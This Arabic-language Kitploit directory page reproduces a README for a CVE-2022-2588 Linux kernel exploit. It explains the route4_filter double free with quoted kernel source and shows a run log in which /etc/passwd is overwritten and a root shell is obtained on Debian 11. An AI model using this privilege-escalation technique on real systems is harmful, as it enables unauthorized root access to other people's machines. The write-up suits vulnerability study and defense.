Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-2588 — كود استغلال لـ CVE-2022-2588 | Kitploit
أدوات/GitHubGitHub/igr1s-red/cve-2022-2588
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubigr1s-red/cve-2022-2588

CVE-2022-2588

كود استغلال لـ CVE-2022-2588

عرض المستودع
19منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-2588

الإصلاح

تم إصلاح الخلل في Linux v5.19 بواسطة هذا الالتزام.

الخلل

تم تقديم الخلل في Linux v3.17 بواسطة هذا الالتزام في عام 2014. يتطلب تنشيط User Namespaces. هذا الخلل مشابه جداً لـ CVE-2021-3715، الذي نتج عن عملية غير صحيحة على القائمة المرتبطة لـ route4_filter. يمكن العثور على تفاصيل أكثر حول CVE-2021-3715 في محاضرة blackhat (صفحة 16). فيما يلي بعض التفاصيل المختصرة عن CVE-2022-2588.

يظهر التالي بعض المقتطفات المهمة من الكود للدالة route4_change لفهم CVE-2022-2588.

static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

تم تصميم الدالة لتهيئة/استبدال كائن route4_filter. يستخدم المرشح handle كمعرف فريد للتمييز بين كل مرشح. إذا كان هناك مقبض تمت تهيئته من قبل (أي أن المتغير fold ليس فارغاً)، فسيتم تحديث المرشح عن طريق إزالة المرشح القديم وإضافة مرشح جديد، وإلا سيتم إضافة مرشح جديد فقط.

في [0]، يقوم النواة بتخصيص كائن route4_filter. في [1]، إذا لم يكن fold فارغاً، مما يعني وجود مرشح بنفس المقبض، فسيتم نسخ بعض المعلومات إلى المرشح الجديد وتهيئته في [2]، ثم إدراج المرشح الجديد في القائمة في [3]. إذا كان المرشح القديم موجوداً، فسيتم إزالته من القائمة في [4] ويتم تحريره في [6].

يحدث الخلل في [4]، الذي يتحقق من وجود مرشح قديم ليتم إزالته. يضمن الشرط ألا يكون المقبض صفراً وأن يتطابق مع مقبض المرشح الجديد. لا يتوافق هذا الشرط مع شرط تحرير المرشح في [6]، الذي يتحقق فقط من وجود المرشح القديم. لذلك، إذا قام المستخدمون بإنشاء مرشح مقبضه 0، ثم قاموا بتشغيل استبداله، فلن يتم فصل المرشح في [4] ولكن سيتم تحريره في [6] نظراً لاختلاف شرطيهما.

الاستغلال

نظراً لأن هذا الخلل مشابه لـ CVE-2021-3715، فإن بدائياتهما متطابقة تقريباً. يمكن للقراء الرجوع إلى محاضرة blackhat للحصول على وصف أكثر تفصيلاً للبدائيات. يعرض هذا الشرح الاستغلال بفكرة DirtyCred.

نظراً لأن fold المحرر لا يزال موجوداً في القائمة المرتبطة بعد تشغيل الخلل، يمكننا تحرير fold مرة أخرى، مما سيؤدي في النهاية إلى تحرير مزدوج لكائن route4_filer وكائن route4_filter->exts.action في حالة تمكين CONFIG_NET_CLS_ACT.

تستخدم رموز الاستغلال هاتين القدرتين على التحرير المزدوج لإظهار الهجوم على بيانات اعتماد المهام (باستخدام kmalloc-192 double free، قريباً) و بيانات اعتماد الملف المفتوح (باستخدام kmalloc-256 double free).

مهاجمة بيانات اعتماد الملف

تبعاً لفكرة DirtyCred، يقوم رمز الاستغلال بتبديل بيانات اعتماد الملف بعد فحوصات الإذن، حتى نتمكن من كتابة أي محتوى إلى ملفات بإذن قراءة. من الناحية المثالية، يمكن للرمز العمل عبر جميع إصدارات النواة المتأثرة بالخلل. يُلاحظ أنه لضمان عمل الرمز على النوى الأقدم حيث يكون msg_msg معزولاً في kmalloc-rcl-*، يستخدم الاستغلال كائن رش مختلف.

[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

تمت كتابة الاستغلال ليعمل على أكبر عدد ممكن من التوزيعات. تم التأكيد على أنه يعمل على:

  • Debian 11 (5.10.0-8-amd64 ~ xxx)

هل تريد تجربة الاستغلال في الجهاز الافتراضي؟

يرجى تسجيل الدخول باسم المستخدم low وكلمة المرور low

تنزيل الأداة